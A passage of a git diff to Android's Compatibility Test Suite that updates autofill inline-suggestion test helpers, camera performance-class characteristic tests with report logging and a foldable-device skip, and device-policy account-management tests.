a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java +++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java @@ -20,14 +20,16 @@ import static android.autofillservice.cts.testcore.Timeouts.DATASET_PICKER_NOT_S import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS; import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT; +import android.content.Context; import android.content.pm.PackageManager; +import android.content.res.Resources; import android.support.test.uiautomator.By; import android.support.test.uiautomator.BySelector; import android.support.test.uiautomator.Direction; import android.support.test.uiautomator.UiObject2; +import android.util.Log; import com.android.compatibility.common.util.RequiredFeatureRule; -import com.android.compatibility.common.util.Timeout; import com.android.cts.mockime.MockIme; import org.junit.rules.RuleChain; @@ -46,12 +48,11 @@ public final class InlineUiBot extends UiBot { private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule( PackageManager.FEATURE_INPUT_METHODS); - public InlineUiBot() { - this(UI_TIMEOUT); - } + private final Context mContext; - public InlineUiBot(Timeout defaultTimeout) { - super(defaultTimeout); + public InlineUiBot(Context context) { + super(UI_TIMEOUT); + mContext = context; } public static RuleChain annotateRule(TestRule rule) { @@ -73,7 +74,7 @@ public final class InlineUiBot extends UiBot { * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text. */ public void selectSuggestion(String name) throws Exception { - final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT); + final UiObject2 strip = findSuggestionStrip(); final UiObject2 dataset = strip.findObject(By.text(name)); if (dataset == null) { throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip)); @@ -88,7 +89,7 @@ public final class InlineUiBot extends UiBot { @Override public void longPressSuggestion(String name) throws Exception { - final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT); + final UiObject2 strip = findSuggestionStrip(); final UiObject2 dataset = strip.findObject(By.text(name)); if (dataset == null) { throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip)); @@ -97,14 +98,14 @@ public final class InlineUiBot extends UiBot { } @Override - public UiObject2 assertDatasets(String...names) throws Exception { - final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT); + public UiObject2 assertDatasets(String... names) throws Exception { + final UiObject2 picker = findSuggestionStrip(); return assertDatasets(picker, names); } @Override public void assertSuggestion(String name) throws Exception { - final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT); + final UiObject2 strip = findSuggestionStrip(); final UiObject2 dataset = strip.findObject(By.text(name)); if (dataset == null) { throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip)); @@ -113,7 +114,7 @@ public final class InlineUiBot extends UiBot { @Override public void assertNoSuggestion(String name) throws Exception { - final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT); + final UiObject2 strip = findSuggestionStrip(); final UiObject2 dataset = strip.findObject(By.text(name)); if (dataset != null) { throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip)); @@ -122,7 +123,10 @@ public final class InlineUiBot extends UiBot { @Override public void scrollSuggestionView(Direction direction, int speed) throws Exception { - final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT); + final UiObject2 strip = findSuggestionStrip(); + final int defaultWidth = strip.getVisibleBounds().width() / 4; + final int width = getEdgeSensitivityWidth(defaultWidth); + strip.setGestureMargin(width); strip.fling(direction, speed); } @@ -133,7 +137,18 @@ public final class InlineUiBot extends UiBot { } } - private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception { - return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout); + private UiObject2 findSuggestionStrip() throws Exception { + return waitForObject(SUGGESTION_STRIP_SELECTOR, Timeouts.UI_TIMEOUT); + } + + private int getEdgeSensitivityWidth(int defaultWidth) { + Resources resources = mContext.getResources(); + int resId = resources.getIdentifier("config_backGestureInset", "dimen", "android"); + try { + return resources.getDimensionPixelSize(resId) + 1; + } catch (Resources.NotFoundException e) { + Log.e(TAG, "Failed to get edge sensitivity width. Defaulting to " + defaultWidth, e); + return defaultWidth; + } } } diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java index cf02ebe2534..feb5567963f 100644 --- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java +++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java @@ -206,9 +206,9 @@ public class SPerfClassTest extends AndroidTestCase { } /** - * Check camera S Performance class requirement for JPEG sizes. + * Check JPEG size overrides for devices claiming S Performance class requirement via + * Version.MEDIA_PERFORMANCE_CLASS */ - @CddTest(requirement="7.5/H-1-8") public void testSPerfClassJpegSizes() throws Exception { boolean isSPerfClass = CameraTestUtils.isSPerfClass(); if (!isSPerfClass) { diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java index 28475ec0e67..c938442d90b 100644 --- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java +++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java @@ -16,6 +16,23 @@ package android.hardware.camera2.cts; +import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback; +import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContains; +import static android.hardware.camera2.cts.helpers.AssertHelpers.assertArrayContainsAnyOf; +import static android.hardware.camera2.cts.helpers.AssertHelpers.assertCollectionContainsAnyOf; +import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics; + +import static junit.framework.Assert.assertFalse; +import static junit.framework.Assert.assertNotNull; +import static junit.framework.Assert.assertTrue; +import static junit.framework.Assert.fail; + +import static org.mockito.Mockito.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.reset; +import static org.mockito.Mockito.timeout; +import static org.mockito.Mockito.verify; + import android.content.Context; import android.graphics.ImageFormat; import android.graphics.Rect; @@ -34,42 +51,43 @@ import android.hardware.camera2.params.ColorSpaceTransform; import android.hardware.camera2.params.DeviceStateSensorOrientationMap; import android.hardware.camera2.params.RecommendedStreamConfigurationMap; import android.hardware.camera2.params.StreamConfigurationMap; +import android.hardware.cts.helpers.CameraUtils; import android.media.CamcorderProfile; import android.media.ImageReader; import android.os.Build; import android.util.ArraySet; import android.util.DisplayMetrics; import android.util.Log; -import android.util.Rational; -import android.util.Range; -import android.util.Size; import android.util.Pair; import android.util.Patterns; +import android.util.Range; +import android.util.Rational; +import android.util.Size; import android.view.Display; import android.view.Surface; import android.view.WindowManager; +import androidx.test.InstrumentationRegistry; + import com.android.compatibility.common.util.CddTest; +import com.android.compatibility.common.util.DeviceReportLog; +import com.android.compatibility.common.util.ResultType; +import com.android.compatibility.common.util.ResultUnit; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Objects; +import java.util.Set; import java.util.regex.Matcher; import java.util.regex.Pattern; -import java.util.Set; - -import org.junit.runners.Parameterized; -import org.junit.runner.RunWith; -import org.junit.Test; - -import static android.hardware.camera2.cts.helpers.AssertHelpers.*; -import static android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback; -import static android.hardware.cts.helpers.CameraUtils.matchParametersToCharacteristics; -import static junit.framework.Assert.*; - -import static org.mockito.Mockito.*; +import static android.hardware.camera2.cts.CameraTestUtils.MPC_REPORT_LOG_NAME; +import static android.hardware.camera2.cts.CameraTestUtils.MPC_STREAM_NAME; /** * Extended tests for static camera characteristics. @@ -2570,6 +2588,15 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { @CddTest(requirement="7.5.5/C-1-1") @Test public void testCameraOrientationAlignedWithDevice() { + if (CameraUtils.isDeviceFoldable(mContext)) { + // CDD 7.5.5/C-1-1 does not apply to devices with folding displays as the display aspect + // ratios might change with the device's folding state. + // Skip this test in foldables until the CDD is updated to include foldables. + Log.i(TAG, "CDD 7.5.5/C-1-1 does not apply to foldables, skipping" + + " testCameraOrientationAlignedWithDevice"); + return; + } + WindowManager windowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE); Display display = windowManager.getDefaultDisplay(); @@ -2619,22 +2646,54 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { } /** + * If meetPerfClass is true, return perfClassLevel. + * Otherwise, return NOT_MET. + */ + private int updatePerfClassLevel(boolean meetPerfClass, int perfClassLevel) { + if (!meetPerfClass) { + return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } else { + return perfClassLevel; + } + } + + /** + * Update perf class level based on meetSPerfClass and meetRPerfClass. + */ + private int updatePerfClassLevel(boolean meetSPerfClass, boolean meetRPerfClass, + int perfClassLevel) { + if (!meetRPerfClass) { + return CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } else if (!meetSPerfClass && + perfClassLevel > CameraTestUtils.PERFORMANCE_CLASS_R) { + return CameraTestUtils.PERFORMANCE_CLASS_R; + } + return perfClassLevel; + } + + /** * Check camera characteristics for R and S Performance class requirements as specified * in CDD camera section 7.5 */ @Test - @CddTest(requirement="7.5") + @CddTest(requirement="7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8") public void testCameraPerfClassCharacteristics() throws Exception { if (mAdoptShellPerm) { // Skip test for system camera. Performance class is only applicable for public camera // ids. return; } - boolean isRPerfClass = CameraTestUtils.isRPerfClass(); - boolean isSPerfClass = CameraTestUtils.isSPerfClass(); - if (!isRPerfClass && !isSPerfClass) { - return; - } + boolean assertRPerfClass = CameraTestUtils.isRPerfClass(); + boolean assertSPerfClass = CameraTestUtils.isSPerfClass(); + boolean assertPerfClass = (assertRPerfClass || assertSPerfClass); + + int perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; + int perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; + int perfClassLevelH13 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; + int perfClassLevelH14 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; + int perfClassLevelH18 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT; + + DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME); boolean hasPrimaryRear = false; boolean hasPrimaryFront = false; @@ -2663,78 +2722,145 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase { if (isPrimaryRear) { hasPrimaryRear = true; - mCollector.expectTrue("Primary rear camera resolution should be at least " + - MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+ - sensorResolution, - sensorResolution >= MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION); + if (sensorResolution < MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION) { + mCollector.expectTrue("Primary rear camera resolution should be at least " + + MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION + " pixels, is "+ + sensorResolution, !assertPerfClass); + perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } + reportLog.addValue("rear camera resolution", sensorResolution, + ResultType.NEUTRAL, ResultUnit.NONE); // 4K @ 30fps boolean supportUHD = videoSizes.contains(UHD); boolean supportDC4K = videoSizes.contains(DC4K); - mCollector.expectTrue("Primary rear camera should support 4k video recording", - supportUHD || supportDC4K); - if (supportUHD || supportDC4K) { + reportLog.addValue("rear camera 4k support", supportUHD | supportDC4K, + ResultType.NEUTRAL, ResultUnit.NONE); + if (!supportUHD && !supportDC4K) { + mCollector.expectTrue("Primary rear camera should support 4k video recording", + !assertPerfClass); + perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } else { long minFrameDuration = config.getOutputMinFrameDuration( android.media.MediaRecorder.class, supportDC4K ? DC4K : UHD); - mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps", - minFrameDuration < (1e9 / 29.9)); + reportLog.addValue("rear camera 4k frame duration", minFrameDuration, + ResultType.NEUTRAL, ResultUnit.NONE); + if (minFrameDuration >= (1e9 / 29.9)) { + mCollector.expectTrue("Primary rear camera should support 4k video @ 30fps", + !assertPerfClass); + perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } } } else { hasPrimaryFront = true; - if (isSPerfClass) { + if (sensorResolution < MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION) { mCollector.expectTrue("Primary front camera resolution should be at least " + - MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+ - sensorResolution, - sensorResolution >= MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION); - } else { + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+ + sensorResolution, !assertSPerfClass); + perfClassLevelH12 = Math.min( + perfClassLevelH12, CameraTestUtils.PERFORMANCE_CLASS_R); + } + if (sensorResolution < MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION) { mCollector.expectTrue("Primary front camera resolution should be at least " + - MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION + " pixels, is "+ - sensorResolution, - sensorResolution >= MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION); + MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION + " pixels, is "+ + sensorResolution, !assertRPerfClass); + perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; } + reportLog.addValue("front camera resolution", sensorResolution, + ResultType.NEUTRAL, ResultUnit.NONE); + // 1080P @ 30fps boolean supportFULLHD = videoSizes.contains(FULLHD); - mCollector.expectTrue("Primary front camera should support 1080P video recording", - supportFULLHD); - if (supportFULLHD) { + reportLog.addValue("front camera 1080p support", supportFULLHD, + ResultType.NEUTRAL, ResultUnit.NONE); + if (!supportFULLHD) { + mCollector.expectTrue( + "Primary front camera should support 1080P video recording", + !assertPerfClass); + perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } else { long minFrameDuration = config.getOutputMinFrameDuration( android.media.MediaRecorder.class, FULLHD); - mCollector.expectTrue("Primary front camera should support 1080P video @ 30fps", - minFrameDuration < (1e9 / 29.9)); + if (minFrameDuration >= (1e9 / 29.9)) { + mCollector.expectTrue( + "Primary front camera should support 1080P video @ 30fps", + !assertPerfClass); + perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } + reportLog.addValue("front camera 1080p frame duration", minFrameDuration, + ResultType.NEUTRAL, ResultUnit.NONE); } } - String facingString = hasPrimaryRear ? "rear" : "front"; + String facingString = isPrimaryRear ? "rear" : "front"; // H-1-3 - if (isSPerfClass || (isRPerfClass && isPrimaryRear)) { + if (assertSPerfClass || (assertRPerfClass && isPrimaryRear)) { mCollector.expectTrue("Primary " + facingString + " camera should be at least FULL, but is " + toStringHardwareLevel(staticInfo.getHardwareLevelChecked()), staticInfo.isHardwareLevelAtLeastFull()); - } else { + } else if (assertRPerfClass) { mCollector.expectTrue("Primary " + facingString + " camera should be at least LIMITED, but is " + toStringHardwareLevel(staticInfo.getHardwareLevelChecked()), staticInfo.isHardwareLevelAtLeastLimited()); } + reportLog.addValue(facingString + " camera hardware level", + staticInfo.getHardwareLevelChecked(), ResultType.NEUTRAL, ResultUnit.NONE); + if (isPrimaryRear) { + perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(), + perfClassLevelH13); + } else { + perfClassLevelH13 = updatePerfClassLevel(staticInfo.isHardwareLevelAtLeastFull(), + staticInfo.isHardwareLevelAtLeastLimited(), perfClassLevelH13); + } + // H-1-4 Integer timestampSource = c.get(CameraCharacteristics.SENSOR_INFO_TIMESTAMP_SOURCE); + reportLog.addValue(facingString + " timestampSource", + timestampSource, ResultType.NEUTRAL, ResultUnit.NONE); + boolean realtimeTimestamp = (timestampSource != null && + timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME)); mCollector.expectTrue( "Primary " + facingString + " camera should support real-time timestamp source", - timestampSource != null && - timestampSource.equals(CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME)); + !assertPerfClass || realtimeTimestamp); + perfClassLevelH14 = updatePerfClassLevel(realtimeTimestamp, perfClassLevelH14); // H-1-8 - if (isSPerfClass && isPrimaryRear) { + if (isPrimaryRear) { + boolean supportRaw = staticInfo.isCapabilitySupported(RAW); + reportLog.addValue(facingString + " camera raw support", + supportRaw, ResultType.NEUTRAL, ResultUnit.NONE); mCollector.expectTrue("Primary rear camera should support RAW capability", - staticInfo.isCapabilitySupported(RAW)); + !assertSPerfClass || supportRaw); + perfClassLevelH18 = updatePerfClassLevel(supportRaw, true /*R*/, perfClassLevelH18); } } - mCollector.expectTrue("There must be a primary rear camera for performance class.", - hasPrimaryRear); - mCollector.expectTrue("There must be a primary front camera for performance class.", - hasPrimaryFront); + if (!hasPrimaryRear) { + mCollector.expectTrue("There must be a primary rear camera for performance class.", + !assertPerfClass); + perfClassLevelH11 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } + if (!hasPrimaryFront) { + mCollector.expectTrue("There must be a primary front camera for performance class.", + !assertPerfClass); + perfClassLevelH12 = CameraTestUtils.PERFORMANCE_CLASS_NOT_MET; + } + + reportLog.addValue("Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE); + final String PERF_CLASS_REQ_NUM_PREFIX = "2.2.7.2/7.5/"; + reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-1", + perfClassLevelH11, ResultType.NEUTRAL, ResultUnit.NONE); + reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-2", + perfClassLevelH12, ResultType.NEUTRAL, ResultUnit.NONE); + reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-3", + perfClassLevelH13, ResultType.NEUTRAL, ResultUnit.NONE); + reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-4", + perfClassLevelH14, ResultType.NEUTRAL, ResultUnit.NONE); + reportLog.addValue(PERF_CLASS_REQ_NUM_PREFIX + "H-1-8", + perfClassLevelH18, ResultType.NEUTRAL, ResultUnit.NONE); + reportLog.submit(InstrumentationRegistry.getInstrumentation()); } /** diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java index cfc857e5832..e98cee3fed4 100644 --- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java +++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java @@ -136,6 +136,8 @@ public class CameraTestUtils extends Assert { public static final String OFFLINE_CAMERA_ID = "offline_camera_id"; public static final String REPORT_LOG_NAME = "CtsCameraTestCases"; + public static final String MPC_REPORT_LOG_NAME = "MediaPerformanceClassLogs"; + public static final String MPC_STREAM_NAME = "CameraCts"; private static final int EXIF_DATETIME_LENGTH = 19; private static final int EXIF_DATETIME_ERROR_MARGIN_SEC = 60; @@ -3737,8 +3739,10 @@ public class CameraTestUtils extends Assert { return zoomRatios; } - private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R; - private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1; + public static final int PERFORMANCE_CLASS_NOT_MET = 0; + public static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R; + public static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1; + public static final int PERFORMANCE_CLASS_CURRENT = PERFORMANCE_CLASS_S; /** * Check whether this mobile device is R performance class as defined in CDD diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java index 5b4b485dc42..df710875e44 100644 --- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java +++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java @@ -17,12 +17,14 @@ package android.hardware.cts.helpers; import android.content.Context; +import android.content.res.Resources; import android.graphics.SurfaceTexture; import android.hardware.Camera; import android.hardware.camera2.CameraCharacteristics; import android.hardware.camera2.CameraManager; import android.hardware.camera2.CameraMetadata; import android.hardware.camera2.cts.helpers.StaticMetadata; +import android.hardware.devicestate.DeviceStateManager; import android.os.Bundle; import android.os.SystemClock; import android.util.Log; @@ -30,8 +32,11 @@ import android.view.TextureView; import androidx.test.InstrumentationRegistry; +import java.util.Arrays; import java.util.Comparator; import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; import java.util.stream.IntStream; /** @@ -273,4 +278,30 @@ public class CameraUtils { } } + /** + * Uses {@link DeviceStateManager} to determine if the device is foldable or not. It relies on + * the OEM exposing supported states, and setting + * com.android.internal.R.array.config_foldedDeviceStates correctly with the folded states. + * + * @return true is the device is a foldable; false otherwise + */ + public static boolean isDeviceFoldable(Context mContext) { + DeviceStateManager deviceStateManager = + mContext.getSystemService(DeviceStateManager.class); + if (deviceStateManager == null) { + Log.w(TAG, "Couldn't locate DeviceStateManager to detect if the device is foldable" + + " or not. Defaulting to not-foldable."); + return false; + } + Set<Integer> supportedStates = Arrays.stream( + deviceStateManager.getSupportedStates()).boxed().collect(Collectors.toSet()); + + Resources systemRes = Resources.getSystem(); + int foldedStatesArrayIdentifier = systemRes.getIdentifier("config_foldedDeviceStates", + "array", "android"); + int[] foldedDeviceStates = systemRes.getIntArray(foldedStatesArrayIdentifier); + + // Device is a foldable if supportedStates contains any state in foldedDeviceStates + return Arrays.stream(foldedDeviceStates).anyMatch(supportedStates::contains); + } } diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java index 9c5938efef0..1b1eb9c7684 100644 --- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java +++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java @@ -16,6 +16,8 @@ package android.devicepolicy.cts; +import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS; + import static com.android.queryable.queries.IntentFilterQuery.intentFilter; import static com.android.queryable.queries.ServiceQuery.service; @@ -25,7 +27,6 @@ import static org.junit.Assert.assertThrows; import android.accounts.Account; import android.accounts.AccountManager; -import android.accounts.AuthenticatorException; import android.accounts.OperationCanceledException; import android.app.admin.RemoteDevicePolicyManager; import android.content.ComponentName; @@ -49,13 +50,10 @@ import com.android.bedstead.testapp.TestAppProvider; import org.junit.Before; import org.junit.ClassRule; -import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; -import java.io.IOException; - @RunWith(BedsteadJUnit4.class) public final class AccountManagementTest { @ClassRule @@ -158,78 +156,64 @@ public final class AccountManagementTest { assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty(); } - @Ignore("b/197491427") @Test @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded() - throws OperationCanceledException, AuthenticatorException, IOException { + throws Exception { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true); // Management is disabled, but the DO/PO is still allowed to use the APIs - // TODO(b/197491427): AccountManager support in TestApp - // Do the following steps on the TestApp side: - // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE); + Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE); - // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE)) - // .isEqualTo(EXISTING_ACCOUNT_TYPE); + assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE)) + .isEqualTo(EXISTING_ACCOUNT_TYPE); } finally { mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false); - // TODO(b/197491427): AccountManager support in TestApp - // removeAccount(ACCOUNT_WITH_EXISTING_TYPE); } } - @Ignore("b/197491427") @Test @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded() - throws OperationCanceledException, AuthenticatorException, IOException { + throws Exception { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { - mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); + mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS); // Management is disabled, but the DO/PO is still allowed to use the APIs - // TODO(b/197491427): AccountManager support in TestApp - // Do the following steps on the TestApp side: - // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE); + Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE); - //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE)) - // .isEqualTo(EXISTING_ACCOUNT_TYPE); + assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE)) + .isEqualTo(EXISTING_ACCOUNT_TYPE); } finally { - mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); - // TODO(b/197491427): AccountManager support in TestApp - // removeAccount(ACCOUNT_WITH_EXISTING_TYPE); + mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS); } } - @Ignore("b/197491427") @Test @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved() - throws OperationCanceledException, AuthenticatorException, IOException { + throws Exception { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); // Management is disabled, but the DO/PO is still allowed to use the APIs - // TODO(b/197491427): AccountManager support in TestApp - // Do the following steps on the TestApp side: - // addAccountWithType(EXISTING_ACCOUNT_TYPE); - // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE); + addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE); + Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE); - // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue(); + assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue(); } finally { mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); } } @Test - @Postsubmit(reason = "new test with sleep") + @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) - public void addAccount_withDisallowModifyAccountsRestriction_throwsException() - throws OperationCanceledException, AuthenticatorException, IOException { + public void addAccount_withDisallowModifyAccountsRestriction_throwsException() { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); @@ -241,17 +225,16 @@ public final class AccountManagementTest { } @Test - @Postsubmit(reason = "new test with sleep") + @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) public void removeAccount_withDisallowModifyAccountsRestriction_throwsException() - throws OperationCanceledException, AuthenticatorException, IOException, - InterruptedException { + throws Exception { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { - addAccountWithType(EXISTING_ACCOUNT_TYPE); + addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE); mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); assertThrows(OperationCanceledException.class, () -> - removeAccount(ACCOUNT_WITH_EXISTING_TYPE)); + removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE)); } finally { // Account is automatically removed when the test app is removed mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS); @@ -259,7 +242,7 @@ public final class AccountManagementTest { } @Test - @Postsubmit(reason = "new test with sleep") + @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) public void addAccount_withAccountManagementDisabled_throwsException() { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { @@ -273,17 +256,16 @@ public final class AccountManagementTest { } @Test - @Postsubmit(reason = "new test with sleep") + @Postsubmit(reason = "new test") @CanSetPolicyTest(policy = AccountManagement.class) public void removeAccount_withAccountManagementDisabled_throwsException() - throws OperationCanceledException, AuthenticatorException, IOException, - InterruptedException { + throws Exception { try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) { - addAccountWithType(EXISTING_ACCOUNT_TYPE); + addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE); mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true); assertThrows(OperationCanceledException.class, () -> - removeAccount(ACCOUNT_WITH_EXISTING_TYPE)); + removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE)); } finally { // Account is automatically removed when the test app is removed mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false); @@ -293,14 +275,25 @@ public final class AccountManagementTest { /** * Blocks until an account of {@code type} is added. */ - // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed - private Bundle addAccountWithType(String type) { + // TODO(b/199077745): Remove poll once AccountManager race condition is fixed + private Bundle addAccountFromInstrumentedAppWithType(String type) { return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type)) .toNotBeNull() .errorOnFail() .await(); } + /** + * Blocks until an account of {@code type} is added. + */ + // TODO(b/199077745): Remove poll once AccountManager race condition is fixed + private Bundle addAccountWithType(TestAppInstance testApp, String type) { + return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type)) + .toNotBeNull() + 